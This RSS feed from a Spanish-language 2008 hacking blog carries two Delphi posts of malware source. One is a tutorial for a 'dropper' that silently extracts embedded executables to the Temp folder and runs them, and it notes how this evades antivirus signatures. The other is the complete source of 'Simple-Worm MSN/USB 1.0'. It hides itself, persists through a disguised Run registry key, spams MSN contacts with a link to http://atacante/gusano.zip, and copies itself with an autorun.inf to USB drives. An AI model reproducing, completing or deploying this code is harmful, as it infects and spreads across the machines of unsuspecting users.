<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	>

<channel>
	<title>Aztek Mindz &#187; Delphi</title>
	<atom:link href="http://www.aztekmindz.org/category/delphi/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.aztekmindz.org</link>
	<description>Inseguridad informatica y Laboratorio virico</description>
	<pubDate>Mon, 08 Dec 2008 13:39:24 +0000</pubDate>
	<generator>http://wordpress.org/?v=abc</generator>
	<language>en</language>
			<item>
		<title>Dropper desde 0 [ Delphi ]</title>
		<link>http://www.aztekmindz.org/2008/06/16/dropper-desde-0-delphi/</link>
		<comments>http://www.aztekmindz.org/2008/06/16/dropper-desde-0-delphi/#comments</comments>
		<pubDate>Tue, 17 Jun 2008 01:22:23 +0000</pubDate>
		<dc:creator>octalh</dc:creator>
		
		<category><![CDATA[Delphi]]></category>

		<category><![CDATA[Papers]]></category>

		<guid isPermaLink="false">http://www.aztekmindz.org/?p=10</guid>
		<description><![CDATA[Ok, comenzemos&#8230;
¿Que es un dropper?

Es un programa que extrae 1 o más archivos en un computador, y usualmente los ejecuta o abre una vez son extraidos. Comportamientos comunes en los droppers son su ejecución invisible, más se pueden hacer muchas otras cosas.
Esto crea el efecto para un usuario comun que pensara que solo esta ejecutando [...]]]></description>
			<content:encoded><![CDATA[<p>Ok, comenzemos&#8230;<br />
<strong>¿Que es un dropper?</strong></p>
<p><strong></strong><br />
Es un programa que extrae 1 o más archivos en un computador, y usualmente los ejecuta o abre una vez son extraidos. Comportamientos comunes en los droppers son su ejecución invisible, más se pueden hacer muchas otras cosas.<br />
Esto crea el efecto para un usuario comun que pensara que solo esta ejecutando una sola aplicación, cuando en verdad pueden haber otras tantas.<br />
<strong> ¿Porque un dropper y no un binder?</strong></p>
<p><strong></strong><br />
Por su flexibilidad, porque su header es menos perseguido que el de los archivos bindeados para los AV que cargan firmas como locos y porque son un buen inicio para poder entender tanto binders como droppers.<br />
Conceptos para hacer un dropper<br />
<strong> ¿Como incluir un archivo en un programa?</strong></p>
<p><strong></strong><br />
Tenemos las siguientes posibilidades:<br />
* Como un array de tipo caracter [el archivo letra por letra]<br />
* Como un resource. [el archivo como un recurso del programa]<br />
* Iniciando con el header del archivo al final del programa, &#8220;union por la cola&#8221; [Tipo binder]</p>
<p>Añadiendola como un array nos ocuparia mucho más espacio, y la union tipo binder no nos interesa por el momento. Añadirlo como un resource sera nuestra elección:<br />
Creando un resource: Esto se puede hacer en notepad y luego guardarlo como un archivo con extension .RC</p>
<p><span class="postbody"><br />
<img src="http://img517.imageshack.us/img517/9771/0rcdq5.jpg" border="0" alt="" /></span></p>
<p>Delphi nos avisara de la ausencia del .RES y lo creara por nosotros siguiendo la ruta que encuentre en el .RC y relacionando ambos archivos en una libreria de recursos .RES.</p>
<p><strong>Creando el dropper el Delphi</strong><br />
Bueno, para ahorrar espacio en el codigo añado los comentarios de que es cada cosa:<br />
* Abrimos Delphi, en un nuevo proyecto copiamos el source siguiente.<br />
Luego guardamos como .dpr (asegurarse que el archivo .RC y los archivos .exe para droppear esten en la misma.</p>
<div class="dean_ch" style="white-space: wrap;"><span class="kw1">program</span> dropper;<br />
<span class="coMULTI">{$R &#8216;RSCR.res&#8217; &#8216;RSCR.RC&#8217;}</span> &nbsp; <span class="co1">//Establecemos nuestros recursos &gt;.&lt;</span><br />
<span class="kw1">uses</span><br />
&nbsp; Windows, Shellapi;<br />
<span class="kw1">var</span><br />
&nbsp; File1: <span class="kw4">String</span> = <span class="st0">&#8216;archivo1&#8242;</span>;<br />
&nbsp; File2: <span class="kw4">String</span> = <span class="st0">&#8216;archivo2&#8242;</span>;<br />
&nbsp; File1Extention: <span class="kw4">String</span> = <span class="st0">&#8216;exe&#8217;</span>;<br />
&nbsp; File2Extention: <span class="kw4">String</span> = <span class="st0">&#8216;exe&#8217;</span>;<br />
<span class="coMULTI">{$R *.res}</span></p>
<p><span class="co1">// Extraer un resource a un archivo y ejecutarlo</span><br />
<span class="kw1">procedure</span> ExtractFile<span class="br0">&#40;</span>whichone: <span class="kw4">String</span><span class="br0">&#41;</span>;<br />
<span class="kw1">var</span><br />
&nbsp;WhichExtention: <span class="kw4">String</span>;<br />
&nbsp;TempDirBuff,TempFileNameBuff,ResultFilePath,ResourcePointer: <span class="kw4">PChar</span>;<br />
&nbsp;ResourceLocation: HRSRC;<br />
&nbsp;ResourceSize,byteswritten: <span class="kw4">Longword</span>;<br />
&nbsp;ResDataHandle: <span class="kw4">THandle</span>;<br />
&nbsp;FileHandle: <span class="kw4">THandle</span>;<br />
<span class="kw1">begin</span><br />
&nbsp;<span class="co1">//Obtener memoria</span><br />
&nbsp;<span class="kw3">getMem</span><span class="br0">&#40;</span>TempDirBuff,MAX_PATH<span class="nu0">+1</span><span class="br0">&#41;</span>;<br />
&nbsp;<span class="kw3">getMem</span><span class="br0">&#40;</span>TempFileNameBuff,MAX_PATH<span class="nu0">+1</span><span class="br0">&#41;</span>;<br />
&nbsp;<span class="co1">//Obtener la ruta Temp</span><br />
&nbsp;GetTempPath<span class="br0">&#40;</span>MAX_PATH<span class="nu0">+1</span>,TempDirBuff<span class="br0">&#41;</span>;<br />
&nbsp;<span class="co1">//Obtener un nombre para el archivo</span><br />
&nbsp;GetTempFileName<span class="br0">&#40;</span>TempDirBuff,<span class="st0">&#8216;~win&#8217;</span>,<span class="nu0">0</span>,TempFileNameBuff<span class="br0">&#41;</span>;<br />
&nbsp;<span class="co1">//Obtener la extension de los archivos extraidos</span><br />
&nbsp;<span class="kw1">if</span> whichone = File1 <span class="kw1">then</span> WhichExtention := File1Extention<br />
&nbsp;<span class="kw1">else</span> WhichExtention := File2Extention;<br />
&nbsp;<span class="co1">//Crear un string para la ruta C:\Windows\Temp\~winxxx.exe</span><br />
&nbsp;ResultFilePath := <span class="kw4">PChar</span><span class="br0">&#40;</span><span class="kw3">Copy</span><span class="br0">&#40;</span>TempFileNameBuff,<span class="nu0">0</span>,<span class="kw3">Length</span><span class="br0">&#40;</span>TempFileNameBuff<span class="br0">&#41;</span> - <span class="nu0">3</span><span class="br0">&#41;</span> + WhichExtention<span class="br0">&#41;</span>;<br />
&nbsp;<span class="co1">//Liberar memoria</span><br />
&nbsp;<span class="kw3">freeMem</span><span class="br0">&#40;</span>TempDirBuff<span class="br0">&#41;</span>;<br />
&nbsp;<span class="kw3">freeMem</span><span class="br0">&#40;</span>TempFileNameBuff<span class="br0">&#41;</span>;</p>
<p>&nbsp;<span class="co1">//Buscar el resource</span><br />
&nbsp;ResourceLocation := FindResource<span class="br0">&#40;</span>HInstance,<span class="kw4">PChar</span><span class="br0">&#40;</span>whichone<span class="br0">&#41;</span>,RT_RCDATA<span class="br0">&#41;</span>;<br />
&nbsp;<span class="kw1">if</span> ResourceLocation = <span class="nu0">0</span> <span class="kw1">then</span> <span class="kw3">exit</span>;<br />
&nbsp;<span class="co1">//Obtener el tamaño del resource</span><br />
&nbsp;ResourceSize := SizeofResource<span class="br0">&#40;</span>HInstance,ResourceLocation<span class="br0">&#41;</span>;<br />
&nbsp;<span class="kw1">if</span> ResourceSize = <span class="nu0">0</span> <span class="kw1">then</span> <span class="kw3">exit</span>;<br />
&nbsp;<span class="co1">//Cargar el recurso en memoria</span><br />
&nbsp;ResDataHandle := LoadResource<span class="br0">&#40;</span>HInstance,ResourceLocation<span class="br0">&#41;</span>;<br />
&nbsp;<span class="kw1">if</span> ResDataHandle = <span class="nu0">0</span> <span class="kw1">then</span> <span class="kw3">exit</span>;<br />
&nbsp;<span class="co1">//Asegurar el resource</span><br />
&nbsp;ResourcePointer := LockResource<span class="br0">&#40;</span>ResDataHandle<span class="br0">&#41;</span>;<br />
&nbsp;<span class="kw1">if</span> ResourcePointer = <span class="kw2">NIL</span> <span class="kw1">then</span> <span class="kw3">exit</span>;<br />
&nbsp;<span class="co1">//Crear nuestro archivo</span><br />
&nbsp;FileHandle := CreateFile<span class="br0">&#40;</span>ResultFilePath,GENERIC_WRITE,FILE_SHARE_WRITE,<span class="kw2">NIL</span>,CREATE_ALWAYS,<br />
FILE_ATTRIBUTE_NORMAL,<span class="nu0">0</span><span class="br0">&#41;</span>;<br />
&nbsp;<span class="kw1">if</span> FileHandle = INVALID_HANDLE_VALUE <span class="kw1">then</span> <span class="kw3">exit</span>;<br />
&nbsp;<span class="co1">//Escribir Resource en un archivo</span><br />
&nbsp;WriteFile<span class="br0">&#40;</span>FileHandle,ResourcePointer^,ResourceSize,byteswritten,<span class="kw2">NIL</span><span class="br0">&#41;</span>;<br />
&nbsp;<span class="co1">//Cerrar archivo</span><br />
&nbsp;CloseHandle<span class="br0">&#40;</span>FileHandle<span class="br0">&#41;</span>;<br />
&nbsp;<span class="co1">//Ejecutar archivo</span><br />
&nbsp;ShellExecute<span class="br0">&#40;</span><span class="nu0">0</span>,<span class="kw2">NIL</span>,ResultFilePath,<span class="kw2">NIL</span>,<span class="kw2">NIL</span>,SW_SHOW<span class="br0">&#41;</span>;<br />
&nbsp;<span class="co1">//return</span><br />
<span class="kw1">end</span>;<br />
<span class="co1">// Aqui es el inicio del programa</span><br />
<span class="kw1">begin</span><br />
&nbsp; ExtractFile<span class="br0">&#40;</span>File1<span class="br0">&#41;</span>; <span class="co1">//Extraer + ejecutar Archivo1</span><br />
&nbsp; ExtractFile<span class="br0">&#40;</span>File2<span class="br0">&#41;</span>; <span class="co1">//Extract + ejecutar Archivo2</span><br />
&nbsp; <span class="co1">//Fin del programa</span><br />
<span class="kw1">end</span>.</div>
<p><span class="postbody"> Ok, si miramos de cerca el codigo, nuestro dropper ahora tomara los archivos que esten en el .RES, los extraera y luego los ejecutara en la carpeta temp bajo un nombre aleatorio. Ahora que ya tenemos lo necesario para que nuestro dropper funcione, compilamos y ya esta. </span></p>
<p>Tutorial Elaborado Por: <span class="name"><strong>status.0 [ www.indetectables.net ]</strong></span></p>
]]></content:encoded>
			<wfw:commentRss>http://www.aztekmindz.org/2008/06/16/dropper-desde-0-delphi/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Simple-Worm MSN/USB 1.0 [ Delphi ]</title>
		<link>http://www.aztekmindz.org/2008/06/16/simple-worm-10-delphi-by-octalh/</link>
		<comments>http://www.aztekmindz.org/2008/06/16/simple-worm-10-delphi-by-octalh/#comments</comments>
		<pubDate>Mon, 16 Jun 2008 22:24:37 +0000</pubDate>
		<dc:creator>octalh</dc:creator>
		
		<category><![CDATA[Delphi]]></category>

		<guid isPermaLink="false">http://www.aztekmindz.org/?p=9</guid>
		<description><![CDATA[{
*/
*/ &#160; +&#8212;&#8212;&#8212;-+&#8212;&#8212;&#8212;-+&#8212;&#8212;&#8212;-+
*/ &#160; &#160; _____ &#160; &#160; _ _ _ &#160; &#160;___ &#160; &#160; ___
*/ &#160; &#160;&#124; &#160; __&#124;___&#124; &#124; &#124; &#124; &#160;&#124;_ &#160;&#124; &#160; &#124; &#160; &#124;
*/ &#160; &#160;&#124;__ &#160; &#124;___&#124; &#124; &#124; &#124; &#160; _&#124; &#124;_ _&#124; &#124; &#124;
*/ &#160; &#160;&#124;_____&#124; &#160; &#124;_____&#124; &#160;&#124;_____&#124;_&#124;___&#124;
*/ &#160; &#160;[ Simple-Worm 1.0 ]
*/
*/ &#160; +&#8212;&#8212;&#8212;-+&#8212;&#8212;&#8212;-+&#8212;&#8212;&#8212;-+
*/ &#160; [...]]]></description>
			<content:encoded><![CDATA[<div class="dean_ch" style="white-space: wrap;"><span class="coMULTI">{<br />
*/<br />
*/ &nbsp; +&#8212;&#8212;&#8212;-+&#8212;&#8212;&#8212;-+&#8212;&#8212;&#8212;-+<br />
*/ &nbsp; &nbsp; _____ &nbsp; &nbsp; _ _ _ &nbsp; &nbsp;___ &nbsp; &nbsp; ___<br />
*/ &nbsp; &nbsp;| &nbsp; __|___| | | | &nbsp;|_ &nbsp;| &nbsp; | &nbsp; |<br />
*/ &nbsp; &nbsp;|__ &nbsp; |___| | | | &nbsp; _| |_ _| | |<br />
*/ &nbsp; &nbsp;|_____| &nbsp; |_____| &nbsp;|_____|_|___|<br />
*/ &nbsp; &nbsp;[ Simple-Worm 1.0 ]<br />
*/<br />
*/ &nbsp; +&#8212;&#8212;&#8212;-+&#8212;&#8212;&#8212;-+&#8212;&#8212;&#8212;-+<br />
*/ &nbsp; - &nbsp;By Octalh | octalh@gmail.com &nbsp;|<br />
*/ &nbsp; - USB Spread | MSN Spread &nbsp; &nbsp; &nbsp; &nbsp;|<br />
*/<br />
}</span></p>
<p><span class="kw1">program</span> gusano;</p>
<p><span class="co1">// {$APPTYPE CONSOLE} &nbsp;Comentamos esta linea para esconder la consola</span></p>
<p><span class="kw1">uses</span><br />
&nbsp; Windows, SysUtils, sndkey32;</p>
<p>&nbsp; <span class="co1">//* Constantes Gblobales</span></p>
<p>&nbsp; <span class="kw1">const</span><br />
&nbsp; msj = <span class="st0">&#8216;http://atacante/gusano.zip&#8217;</span>; &nbsp;<span class="co1">//* Mensaje Propagacion MSN</span><br />
&nbsp; ruta0 = <span class="st0">&#8216;c:\SW1.exe&#8217;</span>; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<span class="co1">//* Nombre del gusano en sistema</span></p>
<p>&nbsp; <span class="co1">//* Variables Gblobales</span></p>
<p>&nbsp; <span class="kw1">var</span><br />
&nbsp; ruta1 : <span class="kw4">String</span>;<br />
&nbsp; Msg: &nbsp; &nbsp; &nbsp;TMsg;</p>
<p><span class="co1">//* Funcion para enviar msj a una ventana</span><br />
<span class="co1">// &nbsp;utilizando el nombre de clase de la ventana para localizarla</span><br />
<span class="kw1">function</span> enviarmsj<span class="br0">&#40;</span>clase: <span class="kw4">PChar</span><span class="br0">&#41;</span>:<span class="kw4">boolean</span>;<br />
<span class="kw1">var</span><br />
ventana:HWND;<br />
<span class="kw1">begin</span><br />
&nbsp; Result:=<span class="kw2">False</span>;<br />
&nbsp; &nbsp; &nbsp;ventana:= FindWindow<span class="br0">&#40;</span>clase, <span class="kw2">nil</span><span class="br0">&#41;</span>;<br />
&nbsp; &nbsp; &nbsp;AppActivate<span class="br0">&#40;</span>ventana<span class="br0">&#41;</span> ;<br />
&nbsp; &nbsp; &nbsp;SendKeys<span class="br0">&#40;</span>msj+<span class="re1">#<span class="nu0">13</span></span>, <span class="kw2">True</span><span class="br0">&#41;</span> ;<br />
&nbsp; Result:=<span class="kw2">True</span>;<br />
<span class="kw1">end</span>;</p>
<p><span class="co1">//* Procedimiento para enviar msj al nombre de la clase de la ventana msn</span><br />
<span class="co1">// &nbsp;para ello utilizamos la funcion &quot;enviarmsj&quot; apuntando a la clase IMWindowClass</span><br />
<span class="kw1">procedure</span> mensajes<span class="br0">&#40;</span>hwnd : <span class="kw4">THandle</span>; uMsg,idEvent:<span class="kw4">integer</span>; dwTime: <span class="kw4">DWORD</span><span class="br0">&#41;</span>; <span class="kw1">stdcall</span>;<br />
<span class="kw1">begin</span><br />
enviarmsj<span class="br0">&#40;</span><span class="st0">&#8216;IMWindowClass&#8217;</span><span class="br0">&#41;</span>;<br />
<span class="kw1">end</span>;</p>
<p><span class="co1">//* Procedimiento que copia el gusano a otra direccion en el sistema</span><br />
<span class="kw1">procedure</span> copiado;<br />
<span class="kw1">begin</span><br />
ruta1 := <span class="kw3">ExtractFilePath</span><span class="br0">&#40;</span><span class="kw3">ParamStr</span><span class="br0">&#40;</span><span class="nu0">0</span><span class="br0">&#41;</span><span class="br0">&#41;</span>+<span class="kw3">ExtractFileName</span><span class="br0">&#40;</span><span class="kw3">ParamStr</span><span class="br0">&#40;</span><span class="nu0">0</span><span class="br0">&#41;</span><span class="br0">&#41;</span>;<br />
&nbsp; <span class="kw1">if</span> ruta1 &lt;&gt; ruta0 <span class="kw1">then</span> <span class="kw1">begin</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; copyfile<span class="br0">&#40;</span><span class="kw4">pchar</span><span class="br0">&#40;</span><span class="kw3">paramstr</span><span class="br0">&#40;</span><span class="nu0">0</span><span class="br0">&#41;</span>+<span class="st0">&#8216;&#8230;&#8217;</span><span class="br0">&#41;</span> , <span class="kw4">PChar</span><span class="br0">&#40;</span>ruta0<span class="br0">&#41;</span>, <span class="kw2">false</span><span class="br0">&#41;</span>;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw3">FileSetAttr</span><span class="br0">&#40;</span> ruta0, <span class="nu0">7</span><span class="br0">&#41;</span>;<br />
&nbsp; <span class="kw1">end</span>;<br />
<span class="kw1">end</span>;</p>
<p><span class="co1">//* Funcion para escribir valores en registro</span><br />
<span class="kw1">function</span> SetClave<span class="br0">&#40;</span>key:Hkey; subkey,name,value:<span class="kw4">string</span><span class="br0">&#41;</span>:<span class="kw4">boolean</span>;<br />
<span class="kw1">var</span><br />
regKey:hkey;<br />
<span class="kw1">begin</span><br />
&nbsp; result:=<span class="kw2">FALSE</span>;<br />
&nbsp; RegCreateKey<span class="br0">&#40;</span>key,<span class="kw4">PChar</span><span class="br0">&#40;</span>subkey<span class="br0">&#41;</span>,regKey<span class="br0">&#41;</span>;<br />
&nbsp; <span class="kw1">if</span> RegSetValueEx<span class="br0">&#40;</span>regKey,<span class="kw4">Pchar</span><span class="br0">&#40;</span>name<span class="br0">&#41;</span>,<span class="nu0">0</span>,REG_SZ,<span class="kw4">pchar</span><span class="br0">&#40;</span>value<span class="br0">&#41;</span>,<span class="kw3">length</span><span class="br0">&#40;</span>value<span class="br0">&#41;</span><span class="br0">&#41;</span> = <span class="nu0">0</span> <span class="kw1">then</span><br />
&nbsp; &nbsp; result:=<span class="kw2">TRUE</span>;<br />
&nbsp; RegCloseKey<span class="br0">&#40;</span>regKey<span class="br0">&#41;</span>;<br />
<span class="kw1">end</span>;</p>
<p><span class="co1">//* Procedimiento para agregar una clave en el registro utilizando la funcion &quot;SetClave&quot;</span><br />
<span class="kw1">procedure</span> autoinicio;<br />
<span class="kw1">begin</span><br />
&nbsp;SetClave<span class="br0">&#40;</span>HKEY_CURRENT_USER,<span class="st0">&#8216;SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run&#8217;</span>,<br />
<span class="st0">&#8216;wuactl.exe&#8217;</span>,ruta0<span class="br0">&#41;</span>;<br />
<span class="kw1">end</span>;</p>
<p><span class="co1">//* Procedimiento para Infectar memorias USB con autorun.inf</span><br />
<span class="kw1">procedure</span> usbinfeccion<span class="br0">&#40;</span>hwnd : <span class="kw4">THandle</span>; uMsg,idEvent:<span class="kw4">integer</span>; dwTime: <span class="kw4">DWORD</span><span class="br0">&#41;</span>; <span class="kw1">stdcall</span>;<br />
<span class="kw1">const</span><br />
autorun0 = <span class="st0">&#8216;c:\7777.txt&#8217;</span>; <span class="co1">//* Nombre del autorun.inf que se utilizara en la USB</span><br />
gusanoexe = <span class="st0">&#8216;10101.exe&#8217;</span>; &nbsp;<span class="co1">//* Nombre del exe del gusano dentro de la memoria USB</span><br />
autorun = <span class="st0">&#8216;autorun.inf&#8217;</span>; &nbsp;<span class="co1">//* Nombre del autorun dentro de la memoria USB</span><br />
<span class="kw1">var</span><br />
Letra: <span class="kw4">Char</span>;<br />
inf : <span class="kw4">TextFile</span>;</p>
<p>&nbsp; <span class="kw1">begin</span></p>
<p>&nbsp; <span class="kw1">if</span> <span class="kw1">not</span> <span class="kw3">FileExists</span><span class="br0">&#40;</span>autorun0<span class="br0">&#41;</span> <span class="co1">//* Creamos el contenido del autorun.inf</span><br />
&nbsp; <span class="kw1">then</span> <span class="kw1">begin</span><br />
&nbsp; &nbsp; &nbsp; &nbsp;<span class="kw3">AssignFile</span><span class="br0">&#40;</span>inf, autorun0<span class="br0">&#41;</span>;<br />
&nbsp; &nbsp; &nbsp; &nbsp;<span class="kw3">ReWrite</span><span class="br0">&#40;</span>inf<span class="br0">&#41;</span>;<br />
&nbsp; &nbsp; &nbsp; &nbsp;<span class="kw3">WriteLn</span><span class="br0">&#40;</span>inf, <span class="st0">&#8216;[AUTORUN]&#8216;</span><span class="br0">&#41;</span>;<br />
&nbsp; &nbsp; &nbsp; &nbsp;<span class="kw3">WriteLn</span><span class="br0">&#40;</span>inf, <span class="st0">&#8216;open=&#8217;</span>+gusanoexe<span class="br0">&#41;</span>;<br />
&nbsp; &nbsp; &nbsp; &nbsp;<span class="kw3">WriteLn</span><span class="br0">&#40;</span>inf, <span class="st0">&#8217;shell\1=abrir&#8217;</span><span class="br0">&#41;</span>;<br />
&nbsp; &nbsp; &nbsp; &nbsp;<span class="kw3">WriteLn</span><span class="br0">&#40;</span>inf, <span class="st0">&#8217;shell\1\Command=&#8217;</span>+gusanoexe<span class="br0">&#41;</span>;<br />
&nbsp; &nbsp; &nbsp; &nbsp;<span class="kw3">WriteLn</span><span class="br0">&#40;</span>inf, <span class="st0">&#8217;shell\2\=explorar&#8217;</span><span class="br0">&#41;</span>;<br />
&nbsp; &nbsp; &nbsp; &nbsp;<span class="kw3">WriteLn</span><span class="br0">&#40;</span>inf, <span class="st0">&#8217;shell\2\Command=&#8217;</span>+gusanoexe<span class="br0">&#41;</span>;<br />
&nbsp; &nbsp; &nbsp; &nbsp;<span class="kw3">WriteLn</span><span class="br0">&#40;</span>inf, <span class="st0">&#8217;shellexecute=&#8217;</span>+gusanoexe<span class="br0">&#41;</span>;<br />
&nbsp; &nbsp; &nbsp; &nbsp;<span class="kw3">CloseFile</span><span class="br0">&#40;</span>inf<span class="br0">&#41;</span>;<br />
&nbsp; &nbsp; &nbsp; &nbsp;<span class="kw3">FileSetAttr</span><span class="br0">&#40;</span> autorun0, <span class="nu0">7</span><span class="br0">&#41;</span>; <span class="co1">//* Cerramos autorun.inf despues de crearlo</span><br />
&nbsp; <span class="kw1">end</span>;</p>
<p><span class="co1">//* Copiamos el autorun y el gusano a las unidades extraibles</span><br />
&nbsp; &nbsp; <span class="kw1">for</span> Letra:= <span class="st0">&#8216;C&#8217;</span> <span class="kw1">to</span> <span class="st0">&#8216;Z&#8217;</span> <span class="kw1">do</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">if</span> GetDriveType<span class="br0">&#40;</span><span class="kw4">Pchar</span><span class="br0">&#40;</span>Letra+<span class="st0">&#8216;:\&#8217;</span><span class="br0">&#41;</span><span class="br0">&#41;</span> = DRIVE_REMOVABLE &nbsp;<span class="kw1">then</span> <span class="kw1">begin</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<span class="kw1">if</span> <span class="kw1">not</span> <span class="kw3">FileExists</span><span class="br0">&#40;</span><span class="kw4">Pchar</span><span class="br0">&#40;</span>Letra+<span class="st0">&#8216;:\&#8217;</span>+gusanoexe<span class="br0">&#41;</span><span class="br0">&#41;</span> <span class="kw1">then</span> <span class="kw1">begin</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<span class="kw3">FileSetAttr</span><span class="br0">&#40;</span><span class="kw4">Pchar</span><span class="br0">&#40;</span>Letra+<span class="st0">&#8216;:\&#8217;</span>+autorun<span class="br0">&#41;</span>, <span class="nu0">0</span><span class="br0">&#41;</span>;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;copyfile<span class="br0">&#40;</span><span class="kw4">Pchar</span><span class="br0">&#40;</span>autorun0<span class="br0">&#41;</span>,<span class="kw4">Pchar</span><span class="br0">&#40;</span>Letra+<span class="st0">&#8216;:\&#8217;</span>+autorun<span class="br0">&#41;</span>,<span class="kw2">false</span><span class="br0">&#41;</span>;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;copyfile<span class="br0">&#40;</span><span class="kw4">Pchar</span><span class="br0">&#40;</span>ruta0<span class="br0">&#41;</span>,<span class="kw4">Pchar</span><span class="br0">&#40;</span>Letra+<span class="st0">&#8216;:\&#8217;</span>+gusanoexe<span class="br0">&#41;</span>,<span class="kw2">false</span><span class="br0">&#41;</span>;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<span class="kw1">end</span><br />
&nbsp; &nbsp; <span class="kw1">end</span><br />
<span class="kw1">end</span>;</p>
<p><span class="coMULTI">{<br />
*/ Inicio de ejecucion del gusano<br />
}</span></p>
<p><span class="kw1">begin</span><br />
copiado;<br />
<span class="co1">//* Iniciamos procedimiento de copiado</span></p>
<p>autoinicio;<br />
<span class="co1">//* Iniciamos procedimiento de autoinicio</span></p>
<p>SetTimer<span class="br0">&#40;</span><span class="nu0">0</span>,<span class="nu0">0</span>,<span class="nu0">60000</span>,@mensajes<span class="br0">&#41;</span>;<br />
<span class="co1">//* Tiempo en milisegundos (60000) en la que se ejecutara continuamente</span><br />
<span class="co1">// &nbsp;el procedimiento &quot;mensajes&quot;</span></p>
<p>SetTimer<span class="br0">&#40;</span><span class="nu0">0</span>,<span class="nu0">0</span>,<span class="nu0">100</span>,@usbinfeccion<span class="br0">&#41;</span>;<br />
<span class="co1">//* Tiempo en milisegundos (100) en la que se ejecutara continuamente</span><br />
<span class="co1">// &nbsp;el procedimiento &quot;usbinfeccion&quot;</span></p>
<p><span class="coMULTI">{<br />
*/ procedimiento para atender los eventos del timer<br />
*/ [ No tocar esta seccion]<br />
}</span><br />
<span class="kw1">while</span> <span class="kw2">True</span> <span class="kw1">do</span><br />
&nbsp; <span class="kw1">begin</span><br />
&nbsp; &nbsp; <span class="kw3">Sleep</span><span class="br0">&#40;</span><span class="nu0">1</span><span class="br0">&#41;</span>;<br />
&nbsp; &nbsp; <span class="kw1">if</span> PeekMessage<span class="br0">&#40;</span>Msg, <span class="nu0">0</span>, <span class="nu0">0</span>, <span class="nu0">0</span>, PM_REMOVE<span class="br0">&#41;</span> <span class="kw1">then</span><br />
&nbsp; &nbsp; <span class="kw1">begin</span><br />
&nbsp; &nbsp; &nbsp; <span class="kw1">if</span> Msg.<span class="me1">Message</span> &lt;&gt; <span class="re0">$<span class="nu0">0012</span></span> <span class="kw1">then</span><br />
&nbsp; &nbsp; &nbsp; <span class="kw1">begin</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; TranslateMessage<span class="br0">&#40;</span>Msg<span class="br0">&#41;</span>;<br />
&nbsp; &nbsp; &nbsp; &nbsp; DispatchMessage<span class="br0">&#40;</span>Msg<span class="br0">&#41;</span>;<br />
&nbsp; &nbsp; &nbsp; <span class="kw1">end</span><br />
&nbsp; &nbsp; &nbsp; <span class="kw1">else</span><br />
&nbsp; &nbsp; &nbsp; <span class="kw1">begin</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw3">Break</span>;<br />
&nbsp; &nbsp; &nbsp; <span class="kw1">end</span>;<br />
&nbsp; &nbsp; <span class="kw1">end</span>;<br />
&nbsp; <span class="kw1">end</span>;<br />
<span class="coMULTI">{<br />
*/ procedimiento para atender los eventos del timer<br />
*/ [ No tocar esta seccion]<br />
}</span></p>
<p><span class="kw1">end</span>.</p>
<p><span class="coMULTI">{<br />
*/ Final de ejecucion del gusano<br />
}</span></div>
]]></content:encoded>
			<wfw:commentRss>http://www.aztekmindz.org/2008/06/16/simple-worm-10-delphi-by-octalh/feed/</wfw:commentRss>
		</item>
	</channel>
</rss>
